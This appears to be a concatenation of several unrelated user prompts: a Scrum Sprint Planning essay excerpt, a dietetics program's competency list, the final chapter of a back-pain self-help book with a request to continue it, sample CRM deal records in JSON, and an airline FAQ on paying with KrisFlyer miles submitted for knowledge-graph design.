not feasible, it\'s not smart, it\'s not Scrum. And it won\'t lead to good flow.\n\nWhat the Product Owner decides to spend the Sprint on is ultimately an economic decision. A serious one.\n\nDuring the Sprint:\n\nNo changes are made that would endanger the Sprint Goal;\n\nQuality does not decrease;\n\nThe Product Backlog is refined as needed; and,\n\nScope may be clarified and renegotiated with the Product Owner as more is learned.\n\nScrum Guide 2020: The Sprint\n\nThe planning part then becomes: how can we do this without endangering the Sprint Goal? That can get complicated quickly. The thing is, almost anything could endanger the Sprint Goal. An overfilled Sprint Backlog will undermine collaboration.\n\nFlow, value and transparency. You need flow to create value. You need transparency to make informed decisions.\n\nNow, with that Scrum lawyering out of the way, let\'s talk about what makes sense.\n\nYou want to deliver value.\n\nYou want flow.\n\nGoals help focus.\n\nFocus helps flow.\n\nScrum people are obsessed with transparency. They can\'t get enough of it. And neither should you.\n\nCharacteristics of a good Sprint Goal\n\nMuch has been written on this topic. From a have-a-good-flow-and-stop-wasting-time perspective, here are the most important ones:\n\nIt is a singular, clear objective.\n\nIt makes sense given the PBIs selected for the Sprint.\n\nIt could in theory be achieved by an entirely different set of PBIs.\n\nIt is measurable. That is to say, it is possible to determine, without discussion or speculation, whether or not progress toward it has been made (and, of course, whether it has been reached).\n\nIt maps nicely to the Product Goal.\n\nIn conjunction, there has to be room for reevaluating the plan. If not, people will just work as hard as they can on as many things as possible, achieve nothing, and having to explain "why" they couldn\'t achieve the thing they didn\'t understand the "why" of in the first place.\n\nThe biggest waste of time during Sprint Planning\n\n... is pressuring Developers to add more to the Sprint Backlog.\n\nWith flow metrics, every change to the Sprint Backlog immediately gets reflected in the certainty of the forecast. More pressure? More work? Less certainty.\n\nYou can say "yes, and" and say the chance. Or we can replace it with something else.\n\nDisappointing, but more honest, and less heroic.\n\nSaying "no" is a tough job, and you want to make it easier. You\'re also making it easier for the Product Owner to say no as well.\n\nSome things are just irrelevant\n\nYour todo-list in daily life might not always map to the vision. Feed your cat, or it dies. Not very glamorous, is it? But it\'s something you\'re going to do, and it will require some of your time.\n\nConsider alternative ways of reaching the Sprint Goal\n\nWhat is in a Sprint Backlog?\n\nFlow in Sprint Planning\n\nForecasting\n\nThe Scrum Guide says:\n\nVarious practices exist to forecast progress [...]. While proven useful, these do not replace the importance of empiricism.\n\nIn other words: if we know that what we are looking at does not tell the full story, abandon it! You can\'t automate empiricism. Keep your eyes open!\n\nBe critical of the tools, understand its assumptions, abandon the use of them whenever they stop being actionable, that is, influencing your plan.\n\nIt also means that you never take anything for certain. You don\'t know that those items will be finished until they actually are.\n\nA forecast without a confidence level is essentially worthless.\n\nReflect on the usefulness for:\n\nDevelopers\n\nScrum Team\n\nStakeholder communication\n\n"We said 50% confidence was acceptable, yet everybody forgot about that when we couldn\'t do it."\n\nIn other words, a Sprint Backlog might contain:\n\nThe Sprint Goal\n\nThe plan for reaching the Sprint Goal\n\nThe PBIs selected for the Sprint\n\nChanges planned that will increase quality\n\nChanges planned that will increase effectiveness\n\nIt is not always clear when a plan should be abandoned\n\nHaving a plan that could \n\nThere is no award for having executed the original plan\n\nRemove PBIs ahead of time\n\nPeople never cancel work. Embrace that fact\n\nInstead of lecturing about the sunk cost fallacy every Sprint, do things to reduce the chances. Smaller items means smaller investments. Less sunk cost if we abandon it.\n\nThink smaller, learn bigger\n\nShorter Sprints can be employed to generate more learning cycles and limit risk of cost and effort to a smaller time frame.\nScrum Guide 2020: The Sprint\n\nConsider this:\n\nSmaller PBIs can be employed to generate more learning cycles and limit risk of cost and effort to a smaller time frame.\n\nSee if you can write similar sentences with other elements from the Kanban Guide.\n\nSprint Planning is iterative\n\nThe three topics are not necessarily handled in sequence, one-and-done, but iteratively.\n\nNever be afraid to make a plan that makes sense\n\nIf, based on what you know now, you would have made an entirely different plan during Sprint Planning, then stop following the current one! With shorter Sprints, this might even be more of a bias.\n\nThis does not only mean creativity about how one will get PBIs finished, but the overall plan for reaching the Sprint Goal!\n\nA Scrum Team is expected to adapt the moment it learns anything new through inspection.\nThe Scrum Guide (2020): Adaptation' +"The Core Knowledge and Competencies are the basis on which are built the program curriculum and learning activities. The Core Knowledge competencies are mapped to courses in learning objectives that are designated KRDN and the Core Competencies designated CRDN. Prior to program completion, students must demonstrate proficiency in the following areas:\nDomain 1. Scientific and Evidence Base of Practice: Integration of scientific information and translation of research into practice.\nKnowledge- Upon completion of the program, graduates are able to:\nKRDN 1.1 Demonstrate how to locate, interpret, evaluate and use professional literature to make ethical, evidence-based practice decisions.\nKRDN 1.2 Select and use appropriate current information technologies to locate and apply evidence-based guidelines and protocols.\nKRDN 1.3 Apply critical thinking skills.\nCompetencies- Upon completion of the program, graduates are able to:\nCRDN 1.1 Select indicators of program quality and/or customer service and measure achievement of objectives.\nCRDN 1.2 Evaluate research and apply evidence-based guidelines, systematic reviews and scientific literature in nutrition and dietetics practice.\nCRDN 1.3 Justify programs, products, services, and care using appropriate evidence or data.\nCRDN 1.4 Conduct projects using appropriate research or quality improvement methods, ethical procedures and data analysis utilizing current and/or new technologies.\nCRDN 1.5 Incorporate critical-thinking skills in overall practice.\nDomain 2. Professional Practice Expectations: Beliefs, values, attitudes and behaviors for the nutrition and dietetics practitioner level of practice.\nKnowledge- Upon completion of the program, graduates are able to:\nKRDN 2.1 Demonstrate effective and professional oral and written communication and documentation.\nKRDN 2.2 Describe the governance of nutrition and dietetics practice, such as the Scope of Practice for the Registered Dietitian Nutritionist and the Code of Ethics for the Profession of Nutrition and Dietetics.\nKRDN 2.3 Assess the impact of a public policy position on the nutrition and dietetics profession.\nKRDN 2.4 Discuss the impact of health care policy and different health care delivery systems on food and nutrition services.\nKRDN 2.5 Identify and describe the work of interprofessional teams and the roles of others with whom the registered dietitian nutritionist collaborates.\nKRDN 2.6 Demonstrate cultural humility, awareness of personal biases and an understanding of cultural differences as they contribute to diversity, equity and inclusion.\nKRDN 2.7 Describe contributing factors to health inequity in nutrition and dietetics including structural bias, social inequities, health disparities and discrimination.\nKRDN 2.8 Participate in a nutrition and dietetics professional organization and explain the significant role of the organization.\nKRDN 2.9 Defend a position on issues impacting the nutrition and dietetics profession.\nCompetencies- Upon completion of the program, graduates are able to:\nCRDN 2.1 Practice in compliance with current federal regulations and state statutes and rules, as applicable, and in accordance with accreditation standards and the Scope of Practice for the Registered Dietitian Nutritionist, Standards of Practice, Standards of Professional Performance, and Code of Ethics for the Profession of Nutrition and Dietetics.\nCRDN 2.2 Demonstrate professional writing skills in preparing professional communications.\nCRDN 2.3 Demonstrate active participation, teamwork and contributions in group settings.\nCRDN 2.4 Function as a member of interprofessional teams.\nCRDN 2.5 Work collaboratively with NDTRs and/or support personnel in other disciplines.\nCRDN 2.6 Refer clients and patients to other professionals and services when needs are beyond individual scope of practice.\nCRDN 2.7 Apply change management strategies to achieve desired outcomes.\nCRDN 2.8 Demonstrate negotiation skills.\nCRDN 2.9 Actively contribute to nutrition and dietetics professional and community organizations.\nCRDN 2.10 Demonstrate professional attributes in all areas of practice.\nCRDN 2.11 Show cultural humility in interactions with colleagues, staff, clients, patients and the public.\nCRDN 2.12 Implement culturally sensitive strategies to address cultural biases and differences.\nCRDN 2.13 Advocate for local, state or national legislative and regulatory issues or policies impacting the nutrition and dietetics profession.\nDomain 3. Clinical and Client Services: Development and delivery of information, products and services to individuals, groups and populations.\nKnowledge- Upon completion of the program, graduates are able to:\nKRDN 3.1 Use the Nutrition Care Process and clinical workflow elements to assess nutritional parameters, diagnose nutrition related problems, determine appropriate nutrition interventions, and develop plans to monitor the effectiveness of these interventions.\nKRDN 3.2 Develop an educational session or program/educational strategy for a target population.\nKRDN 3.3 Demonstrate counseling and education methods to facilitate behavior change and enhance wellness for diverse individuals and groups.\nKRDN 3.4 Practice routine health screening assessments, including measuring blood pressure and conducting waived point-of-care laboratory testing (such as blood glucose or cholesterol).\nKRDN 3.5 Describe concepts of nutritional genomics and how they relate to medical nutrition therapy, health and disease.\nKRDN 3.6 Develop nutritionally sound meals, menus and meal plans that promote health and disease management and meet client's/patient's needs.\nCompetencies- Upon completion of the program, graduates are able to:\nCRDN 3.1 Perform Medical Nutrition Therapy by utilizing the Nutrition Care Process including use of standardized nutrition terminology as a part of the clinical workflow elements for individuals, groups and populations of differing ages and health status, in a variety of settings.\nCRDN 3.2 Conduct nutrition focused physical exams.\nCRDN 3.3 Perform routine health screening assessments including measuring blood pressure, conducting waived point-of-care laboratory testing (such as blood glucose or cholesterol), recommending and/or initiating nutrition-related pharmacotherapy plans (such as modifications to bowel regimens, carbohydrate to insulin ratio, B,2 or iron supplementation).\nCRDN 3.4 Provide instruction to clients/patients for self-monitoring blood glucose considering diabetes medication and medical nutrition therapy plan.\nCRDN 3.5 Explain the steps involved and observe the placement of nasogastric or nasoenteric feeding tubes; if available, assist in the process of placing nasogastric or nasoenteric feeding tubes.\nCRDN 3.6 Conduct a swallow screen and refer to the appropriate health care professional for full swallow evaluation when needed.\nCRDN 3.7 Demonstrate effective communication and documentation skills for clinical and client services in a variety of formats and settings, which include telehealth and other information technologies and digital media.\nCRDN 3.8 Design, implement and evaluate presentations to a target audience.\nCRDN 3.9 Develop nutrition education materials that are culturally and age appropriate and designed for the literacy level of the audience.\nCRDN 3.10 Use effective education and counseling skills to facilitate behavior change.\nCRDN 3.11 Develop and deliver products, programs or services that promote consumer health, wellness and lifestyle management.\nCRDN 3.12 Deliver respectful, science-based answers to client/patient questions concerning emerging trends.\nCRDN 3.13 Coordinate procurement, production, distribution and service of goods and services, demonstrating and promoting responsible use of resources.\nCRDN 3.14 Develop and evaluate recipes, formulas and menus for acceptability and affordability that accommodate the cultural diversity and health needs of various populations, groups and individuals.\nDomain 4. Practice Management and Use of Resources: Strategic application of principles of management and systems in the provision of services to individuals and organizations.\nKnowledge- Upon completion of the program, graduates are able to:\nKRDN 4.1 Apply management theories to the development of programs or services.\nKRDN 4.2 Evaluate a budget/financial management plan and interpret financial data.\nKRDN 4.3 Demonstrate an understanding of the regulation system related to billing and coding, what services are reimbursable by third party payers and how reimbursement may be obtained.\nKRDN 4.4 Apply the principles of human resource management to different situations.\nKRDN 4.5 Apply safety and sanitation principles related to food, personnel and consumers.\nKRDN 4.6 Explain the processes involved in delivering quality food and nutrition services.\nKRDN 4.7 Evaluate data to be used in decision-making for continuous quality improvement.\nCompetencies- Upon completion of the program, graduates are able to:\nCRDN 4.1 Participate in management functions of human resources (such as training and scheduling).\nCRDN 4.2 Perform management functions related to safety, security and sanitation that affect employees, clients, patients, facilities and food.\nCRDN 4.3 Conduct clinical and client service quality management activities (such as quality improvement or quality assurance projects).\nCRDN 4.4 Apply current information technologies to develop, manage and disseminate nutrition information and data.\nCRDN 4.5 Analyze quality, financial and productivity data for use in planning.\nCRDN 4.6 Propose and use procedures as appropriate to the practice setting to promote sustainability, reduce waste and protect the environment.\nCRDN 4.7 Conduct feasibility studies for products, programs or services with consideration of costs and benefits.\nCRDN 4.8 Develop a plan to provide or develop a product, program or service that includes a budget, staffing needs, equipment and supplies.\nCRDN 4.9 Engage in the process for coding and billing for nutrition and dietetics services to obtain reimbursement from public or private payers, fee-for-service and value-based payment systems.\nCRDN 4.10 Analyze risk in nutrition and dietetics practice (such as risks to achieving set goals and objectives, risk management plan, or risk due to clinical liability or foodborne illness).\nDomain 5. Leadership and Career Management: Skills, strengths, knowledge and experience relevant to leadership potential and professional growth for the nutrition and dietetics practitioner.\nKnowledge- Upon completion of the program, graduates are able to:\nKRDN 5.1 Perform self-assessment that includes awareness in terms of learning and leadership styles and cultural orientation and develop goals for self-improvement.\nKRDN 5.2 Identify and articulate one's skills, strengths, knowledge and experiences relevant to the position desired and career goals.\nKRDN 5.3 Practice how to self-advocate for opportunities in a variety of settings (such as asking for support, presenting an elevator pitch).\nKRDN 5.4 Practice resolving differences or dealing with conflict.\nKRDN 5.5 Promote team involvement and recognize the skills of each member.\nKRDN 5.6 Demonstrate an understanding of the importance and expectations of a professional in mentoring and precepting others.\nCompetencies- Upon completion of the program, graduates are able to:\nCRDN 5.1 Perform self-assessment that includes awareness in terms of learning and leadership styles and cultural orientation and develop goals for self-improvement.\nCRDN 5.2 Identify and articulate one's skills, strengths, knowledge and experiences relevant to the position desired and career goals.\nCRDN 5.3 Prepare a plan for professional development according to Commission on Dietetic Registration guidelines.\nCRDN 5.4 Advocate for opportunities in professional settings (such as asking for additional responsibility, practicing negotiating a salary or wage or asking for a promotion).\nCRDN 5.5 Demonstrate the ability to resolve conflict.\nCRDN 5.6 Promote team involvement and recognize the skills of each member.\nCRDN 5.7 Mentor others.\nCRDN 5.8 Identify and articulate the value of precepting." +'this is chapter 20 of original book\n{CHAPTER TWENTY\n The Sacrum and Coccyx\n From Chris and Jeremy\nFrom Chris\nThe sacrum is the last section of the spine, the vestigial collection of vertebrae that are welded into one solid piece, down at the bottom. And the coccyx is the tippety-tip of the sacrum, the last bit of bone at the end of that long chain, which has been such a torment to you for so long. \nAnd this is the end of the book. The end of the long chain of chapters that we hope—with all our hearts—will deliver you from such torment forever. From now on, it’s up to you. Go back through the book, do the exercises, and change your behavior the way you know you should. Up to you now. \nMay I say, here at the end, that putting this book together has been great fun for Jeremy and me. It has taken more than a year, and it has been a ton of work. We hope it reads as if it were easy as pie, but it wasn’t. We worked like crazy to make it seem easy—and to make it truly accurate without driving you crazy. Don’t know how well we did on that, but we sure did try. And it was fun for a couple of reasons. First, from my point of view, Jeremy is awfully good company. He is deadly serious about his profession but he loves to laugh, too. And, God bless us, we think we’re funny. That helped a lot. On a slightly more serious note, learning all the stuff I had to learn about the back this past year was fascinating and a privilege. Interesting piece of machinery, the back, and Jeremy could not have been a better guide. \nFinally, both of us are true believers in this “revolution” I mentioned up front, and that is a tremendous help. The whole time we were digging away at this boring detail or that, we had the agreeable conviction that we were not just ink-stained wretches, noses to the page. We were centurions in the great war against cruel, needless pain. That helped a lot, too. \nBut the whole business won’t be satisfying to us if it doesn’t work, for you. And that takes me back to my one great worry, the one I mentioned before. \nI worry that we leave so much of this up to you, when we know that Americans just aren’t used to that. Americans are used to going to the magician/doctor. He has a look around, maybe does an MRI. And then hands us a prescription, or gives us a shot. Or sends us to his pal the back surgeon, who does some clever thing to make us all better. As we’ve said again and again, that’s not going to work here. You have to do it yourself—you have to do the exercise, make the changes. But the great question is, will you find the resolve to make it happen? Jeremy says he’s sure you will, because he knows your pain. He knows just how deep and sharp your motivation is. I hope he’s right. \nWhat we are urging is not really that hard; it is mostly just unfamiliar. And you surely have the resources and motivation to make it happen. I know you’re smart enough; you just read this darned book, after all. I know you are disciplined enough; you’ve been going to work all these years. And I know you care, because I know about your pain. Now just take those three things and reorient them a little. And save your life. Then spread the word and save your family, save the country. Get the ogre out of all our lives. It can and should be done. \nFrom Jeremy\nI can’t agree more with Chris’s words. He and I had such a great time writing this book, and we are both deeply optimistic about what it can do for you. As you well know by now, I am not the “word guy”; that’s Chris. So I will be uncharacteristically brief and just say I have seen this protocol work a thousand times in my practice. Now I want to see it work a million times, perhaps more than that, with this book. As we mentioned at the beginning, we want a revolution in back care in this country. Starting with you. We want to take this scourge out of all our lives. \nJEREMY’S RULES\n1\nStop doing dumb stuff.\n2\nBe still so you can heal.\n3\nBrace yourself.\n4\nCommit to your core.\n5\nUse the power in your posterior.\n6\nCrawl before you walk. Walk before you run.\n7\nStand tall for the long haul.\nAPPENDIX\nThe “Cheat Sheet”\nWe threw a lot at you in this book. In time, it will seem like second nature. When you get to that point, it may still be useful to have a simple guide to remind you where you are, what to do next, and so on. To that end, I give you this “cheat sheet” to summarize all the exercises we have told you to do and to tell you when to do them. Here is your daily and weekly plan.\nI strongly encourage you to read this book a few times a year. Trust me, you are trying to change lifelong habits and it’s very easy to default back to the old ways. Come back to the book and think through each exercise every so often. Avoid the trap of falling into those same bad habits that got you here in the first place. The book is the key to taking your life back and leaving the anxiety, stress, and pain of back problems in the past. In between readings of the book, there’s this Exercise Cheat Sheet. \nBasic Core Exercises\nThese exercises (see Chapter 10) should be done every day, and are best done in the morning after being out of bed for thirty minutes or so. Remember to do progressions or regressions as needed for each. Move on to the next progression of a particular exercise when and if you feel ready. Start with one circuit and work your way up to two full circuits in time, and make that your daily habit. In time, this will take you ten to fifteen minutes.\n1. Slow March with Neutral Spine with Shoulder Flexion\n2. The Bridge \n3. Crunch and Plank\n4. Dynamic Hamstring Stretch\n5. Side Plank\n6. Cat/Camel Mobilization\n7. “Bird Dog,” or Opposite Arm/Leg Extension\nGlute Strengthening Routine \nDo these exercises three times a week on nonconsecutive days in addition to your core routine. Start with two sets and work your way up to three in time. This will likely add an additional ten minutes or so on those three days a week that you do these. \n1. Hip Circles Do these first!\n2. Clamshell\n3. Quadruped Hip Extension\n4. Split Squat\n5. Squat\nTrigger Point Release\nDo this as needed. If you got noticeable improvement in back, hip, or leg pain after mastering this, do it prior to your glute workouts until it is no longer needed. \nStretches \nFollow up your glute routine with the following stretches from Chapter 17.\nThis will take three to four minutes.\n1. Hamstring Stretch\n2. Glute Stretch\n3. Piriformis Stretch\n4. Psoas Stretch\nTHE BACKFOREVER VIDEOS\nFor those of you who want to safely return to more demanding activities like weightlifting, skiing, golf, tennis, Pilates, yoga, etc., we invite you to become members of BackForever.com, where you will find hundreds of hours of detailed video instruction on these subjects. Visit BackForever.com to learn more. Enter this promo code to receive two free weeks of membership: YNYTRIAL.\nACKNOWLEDGMENTS\nThanks to Jeremy, first of all, for being such a joy to work with. Coauthorship is supposed to be hard. For me—especially in this book—it has been a joy. We worked mighty hard, but we laughed a lot too.\nJeremy and I have been blessed—and we know it—to have a superb editor in a smart, kind, diplomatic, literate Bruce Tracy at Workman. (That is a shortened list of attributes; Bruce was terrific. And he really got down into the weeds as well as the big picture. As good as they get.) And, as always, thanks to the wise and kind Suzie Bolotin, editor of the Younger Next Year® books and Uber-editor of this one. Heaven!\nLast, thanks to Bill Fabrocini, just about the smartest and most effective guy Jeremy and I know in the broad world of physical therapy and serious training. And about as nice a human being as I have ever met. Deep thanks, Bill.\n—C. C.\nI’d like to thank all of the people who have helped me become the clinician I am today. I’d like to thank Clinton Phillips, Michael Fox, Tim Powersmith, and Bill Fabrocini for their friendship, guidance, and the opportunities they have given me. Back pain has been one of the most misunderstood afflictions in modern society. Many of the concepts in this book are the result of the research and teaching of a handful of dedicated and pioneering individuals. There are many, but I would like to give special mention to Vladimir Janda, MD; David Simons, MD; Janet Travell, MD; Nikolai Bogduk, MD, PhD; and Stuart McGill, PhD. This book wouldn’t have been possible without your accomplishments. }\nRead the chapter 20 of original book that I sent you and save it in your memory. Then, based on this text of chapter 20 of original book and your own information, continue the text of chapter 20 of the new book as much as you like. morover, with explaining with deep learning to me as if i were 10 years old.The text should be completely scientific and academic and based on science World Day should be written and repetition should be avoided. that are not repetitive and related to this topic. this chapter of an original book that I gave you is just a starting point and he has the right to add relevant foliage to this section. based on chapter 20 of original book, you can start' +'Here is the object\n{\n "id": "11830399573",\n "properties": {\n "amount": 5000,\n "closedate": "2023-01-31T12:54:30.118Z",\n "createdate": "2023-01-24T12:57:24.913Z",\n "dealname": "Lagaan",\n "dealstage": "appointmentscheduled",\n "hs\\_lastmodifieddate": "2023-01-24T12:57:27.407Z",\n "hs\\_object\\_id": "11830399573",\n "pipeline": "default"\n },\n "updatedAt": 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"2023-01-31T12:54:30.118Z",\n "createdate": "2023-01-24T12:57:24.913Z",\n "dealname": "Lagaan",\n "dealstage": "appointmentscheduled",\n "hs\\_lastmodifieddate": "2023-01-24T12:57:27.407Z",\n "hs\\_object\\_id": "11830399573",\n "pipeline": "default"\n },\n "updatedAt": "2023-01-24T12:57:27.407Z",\n},\n{\n "id": "11599708199",\n "properties": {\n "amount": 10000,\n "closedate": null,\n "createdate": "2023-01-06T12:54:12.329Z",\n "dealname": "PK",\n "dealstage": "decisionmakerboughtin",\n "hs\\_lastmodifieddate": "2023-01-23T12:10:43.225Z",\n "hs\\_object\\_id": "11599708199",\n "pipeline": "default"\n },\n "updatedAt": "2023-01-23T12:10:43.225Z"\n},\n{\n "id": "11777458459",\n "properties": {\n "amount": 30000,\n "closedate": null,\n "createdate": "2023-01-20T16:52:39.477Z",\n "dealname": "Dangal",\n "dealstage": "qualifiedtobuy",\n "hs\\_lastmodifieddate": "2023-01-20T16:52:42.040Z",\n "hs\\_object\\_id": "11777458459",\n "pipeline": "default"\n },\n "updatedAt": "2023-01-20T16:52:42.040Z",\n},\n{\n "id": "11777125644",\n "properties": {\n "amount": 400,\n "closedate": null,\n "createdate": "2023-01-20T16:49:42.404Z",\n "dealname": "Laal Singh Chaddha",\n "dealstage": "appointmentscheduled",\n "hs\\_lastmodifieddate": "2023-01-20T16:49:48.898Z",\n "hs\\_object\\_id": "11777125644",\n "pipeline": "default"\n },\n "updatedAt": "2023-01-20T16:49:48.898Z",\n},\n{\n "id": "11777125679",\n "properties": {\n "amount": 1000,\n "closedate": null,\n "createdate": "2023-01-20T16:49:42.404Z",\n "dealname": "Gazani",\n "dealstage": "qualifiedtobuy",\n "hs\\_lastmodifieddate": "2023-01-20T16:49:48.898Z",\n "hs\\_object\\_id": "11777125644",\n "pipeline": "default"\n },\n "updatedAt": "2023-01-20T16:49:48.898Z",\n}' +'Given the FAQ below, I would like to generate a knowledge graph from it. Can you suggest the entity classes that I should use?\n\nQ. What is “Pay with Miles/Mix Miles and Cash”?\nA. “Pay with Miles” (PwM)/Mix Miles with Cash is the project enabling KrisFlyer (KF) members to use their KF miles as payment or partial payment of their commercial tickets and selected ancillaries on singaporeair.com (SAA).\nQ. How will this payment method benefits KF members?\nA, Members will be able to use this payment option for all commercial booking classes available on SAA, which means that they will have access to all available seats on all flights operated by SIA. Members will also have control over the number of miles they want to use, as long as it is more than the minimum required. Members will have more opportunities to use their miles before expiry. \nQ. What is the minimum number of miles required to pay for a commercial ticket?\nA. A minimum of approximately 1050 KF miles is required per transaction (i.e., per PNR). This minimum may vary as the conversion rate from SGD to KF miles is subject to change upon review. For information only: The conversion rate is stored as SGD 1: 105 KF miles, hence the KF miles deducted for such a transaction will always be in multiples of 105 miles.\nQ. Is there a maximum number of miles which is allowed to be used?\nA. No, members can pay up to 100% of the commercial ticket using miles (inclusive of airport taxes and surcharges).\nQ. If members do not have enough miles, can they purchase miles to pay for tickets?\nA. No, purchase of miles is only available when redeeming award tickets or flight upgrades.\nQ. Will members be able to use their miles to pay for taxes and surcharges on their commercial tickets?\nA. Yes, members will be able to use their miles to pay for airport taxes and surcharges of their commercial tickets bought on SAA. \nIn other words, the entire commercial ticket can be paid for with miles.\nQ. Can members use their miles to pay for the tickets of their friends and family?\nA. Members can use their miles to pay for the commercial tickets of their nominees (RGN) only. Members can nominate up to a maximum of 5 RGNs. Nominees can be added at any time. However, once added, these RGNs cannot be removed or changed for a period of 6 months and a fee is applicable.\nQ. Can members use their miles to pay for flights on another airline?\nA. No, members are only able to use their miles for SIA operated flights. If members were to purchase an itinerary on SAA which includes a codeshare flight operated by another airline, they would also be unable to use KF miles to pay for the SIA operated flight within that itinerary.\nQ. Can members use KF miles to pay for a booking made through a travel agent?\nA. No, the KF miles payment option is only available for KF members via SAA. \nQ. For transactions in foreign currencies, would the cash component be rounded up or down? Would it be rounded off to the nearest dollar?\nA. Itineraries originating from outside Singapore will be priced in local currencies (as per current SAA logic), and the local fares will be converted to SGD (based on the IATA rounding logic) before being converted to KF miles. \nQ. What is the SGD to miles conversion rate?\nA. The current conversion rate is SGD1per 105 KF miles. This rate will be reviewed periodically and is subject to change. \nQ. Will the SGD to miles conversion rate be made known to members?\nA. The conversion rate will not be explicitly made known to members on SAA (both on the content pages and the booking flow). However, if members were to enquire about the conversion rate or about the monetary value of the miles in their accounts, you can share that the conversion rate is currently SGD1 per 105 KF miles. Members can then work out the value of their miles and the amount they wish to use. Please note that this conversion rate will be reviewed periodically and is subject to change. \nQ. Will members be able to accrue PPS Value, Elite miles and KF miles if they use their miles as payment for their commercial ticket?\nA. Yes, KrisFlyer and Elite miles will be earned, in proportion to the fare (excluding airport taxes) paid using credit/debit card if the fare is mileage accruable. The PPS Value accrued will similarly be derived from the proportion paid using credit/debit card. The current conditions for accruing and calculating PPS Value still apply. As a result of this logic, the KF miles used to pay for a transaction will first be used to offset all the airport taxes of all the tickets before being used to offset the fare and fuel surcharges of the tickets. Please note that Elite miles and KF miles accrued on tickets that are partially paid for using KF miles can only be accrued to KF account. The miles accrued on such tickets cannot be parked with any other OFFPs.\nQ. Will members be able to opt to accrue miles for other KF members before themselves?\nA. No, we have optimized the accruals to benefit the principal member (the member who has used his/her miles to purchase the tickets). Members will not be able to adjust this logic.\nQ. Can members accrue miles to OFFP accounts?\nA. No, the miles earned from a commercial ticket paid for with KF miles can only be credited to their KF accounts. \nQ. Are these tickets subject to any special conditions?\nA. Yes, commercial tickets paid for with KF miles are strictly non-endorsable, even if the purchased fare is one which is fully endorsable. Other than that, the prevailing commercial conditions associated with the fare paid will be applicable.\nQ. Are redemption upgrades allowed for tickets that are paid for with KF miles?\nA. Yes, redemption upgrades are allowed for tickets that are paid for with KF miles as long as the commercial fare is in an upgradeable booking class.\nQ. Will members be able to make changes to their tickets paid for with KF miles on SAA?\nA. For flight or itinerary changes, members will have to contact their local SIA office or call centres. Any additional collection resulting from these changes can only be paid for using credit card/debit card/cash. Fare conditions will apply. Members will be able to submit their request for booking changes via SAA which will be routed offline for handling. These requests will be routed based on the POS for that transaction. For seat and meal requests, members will be able to self-service on SAA. \nQ. Can a ticket paid for with KF miles be issued by AROs/call centres?\nA. Offline assistance is to be provided to the passenger for exceptional handling only.\nQ. How do we service a customer when SAA is down?\nA. This payment feature is only available on SAA. As a result, if SAA is down, KF miles will not be an available payment option at that time. Member will be able to continue to complete the transaction offline, but payment must be made using credit/debit card. \nQ. Will members be able to go back onto SAA to do seat and meal requests after their bookings are reissued offline?\nA. Yes, as per all commercial tickets, members can make seat and meal requests on SAA for their tickets paid for with KF miles even if they have been reissued offline by AROs/call centres. \nQ. Can tickets paid for with KF miles be refunded on SAA?\nA. Yes, as per all other commercial tickets, tickets paid for with KF miles can be submitted for refunds on SAA if the tickets are completely unflown and have not been reissued. The maximum amount paid using credit/debit card will be refunded to members first (not exceeding the original amount paid using credit/debit card). The balance will then be refunded accordingly in miles. KF miles that have expired, will not be refunded.\nQ. How will the refund be handled for cancellations of a ticket paid for with miles?\nA. If refunds are applicable, then the maximum possible amount of the fare paid using credit/debit card (but not more than the original amount paid using credit/debit card) will be refunded first. The remaining refund amount, if any, will be returned in equivalent miles. In other words, we will always refund the “cash” amount first (not exceeding the original amount paid using credit/debit card), before refunding the KF miles. This logic also applies to the refund of residual value when a ticket is reissued from a higher fare to a lower fare. KF miles that have expired, will not be refunded.\nQ. Will residual miles be refunded for reissuance from higher fares to lower fares?\nA. For a booking change from a higher fare to a lower fare, the refund logic will apply to the residual value. In other words, we will always refund the “cash” amount first (not exceeding the original amount paid using credit/debit card). Any balance refund amount will then be refunded in miles. KF miles that have expired will not be refunded.\nQ. What happens if some miles used to pay for the flight have already expired at the point of refund?\nA. The expired miles will not be refunded. Only miles which have not expired can be refunded. Any applicable fees and charges associated with the refund will be deducted from the oldest miles used for the ticket. I.e., Expired miles will be used to deduct such charges first. \nQ. How can we verify whether the miles the member used to pay for the flight have already expired?\nA. Information on the expiry of the miles used for tickets is available in the transaction record in MARMS. Alternatively, once the refund mask has been created in Altea, the information is displayed as a response from MARMS. Members will also be advised of this if they submit their tickets for refund on SAA. \nQ. How can members submit their tickets paid for with miles for refund?\nA. Members can either submit their tickets for refund on SAA or they may contact their nearest SIA office to do so. For tickets submitted for refund offline, these tickets must be refunded by the original issue station. \nQ. When will the miles be credited back to members’ accounts when they submit their tickets paid for with miles for refund?\nA. The miles will be returned to members’ account immediately once the refund is successfully completed. \nQ. If members have purchased a commercial ticket paid fully with credit/debit card, will they be able to use miles to pay for any additional collection resulting from a reissuance?\nA. No, this new payment option is only available on SAA for new ticket issuance. \nQ. Will members be able to use their miles to pay for any other services available on SAA?\nA. No, KF miles are only available as a payment method for commercial tickets. We are working on increasing the list of SIA services members can use their KF miles to pay for. \nQ. Can members use their miles to pay for the taxes and surcharges on their redemption award tickets?\nA. No, members can only use their miles to pay for commercial bookings (including taxes and surcharges) made on SAA. We are working on enabling members to pay for taxes and surcharges on their redemption tickets in the next phase of development.\nQ. When can members use their KF miles to pay for taxes and surcharges on their redemption tickets or for any other SIA services?\nA. We are working on enabling members to use their miles to pay for (i) taxes and surcharges on their redemption tickets and (ii) other SIA services. This will be in the next phase of development.\nQ. Will OFFP members (e.g., LH Miles & More member using LH miles) be able to use their own miles from their respective FFP programmes if they are not KF members?\nA. No, only KF miles can be used for this new payment option. Hence, only KF members (who accrue KF miles) will be able to use this payment option. \nQ. Can member continue to use their KF miles to redeem Saver, Standard and Full Award tickets?\nA. Yes, we will continue to maintain the current redemption options for members. This is an additional programme feature which will increase the number of options for members to make use of their miles.\nQ. Is it better to use KF miles to pay for a commercial ticket or redeem an award ticket?\nA. The number of miles required to pay for a commercial ticket depends on the fares available at the time of purchase. Customers are advised to check the mileage requirement for both the commercial ticket and the Award redemption, as well as to consider the applicable fare conditions before deciding which ticket type is more suitable for their purpose.\nQ. Will members be able to pay for an infant ticket with miles?\nA. Currently, infant nominees are not available in the dropdown list on SAA. However, once this feature is made available on the commercial booking flow, members will be able to pay for their infant tickets with miles.\nQ. Will members be able to make a booking for himself and/or his nominees and other passengers who are not his nominees?\nA. Yes, however, members will only be able to use their miles to pay for the tickets for themselves and their nominees. They will have pay for the tickets of any other passengers using credit/debit card. \nQ. For tickets paid for with miles with itineraries starting from MI destinations, will MI be able to service (reissue/revalidate/refund) these tickets?\nA. No, as these tickets involve the collection of miles, they will have to be routed to SQ for handling. This is similar to the handling of redemption tickets. \nQ. When voiding a reissue 